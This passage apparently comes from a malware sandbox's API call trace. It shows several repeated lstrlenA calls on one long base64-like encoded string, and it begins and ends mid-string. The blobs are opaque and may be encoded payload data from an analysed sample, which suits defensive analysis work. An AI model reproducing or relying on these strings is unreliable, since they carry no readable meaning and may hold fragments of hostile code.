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") returned 5792 [0042.885] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.885] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.885] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvq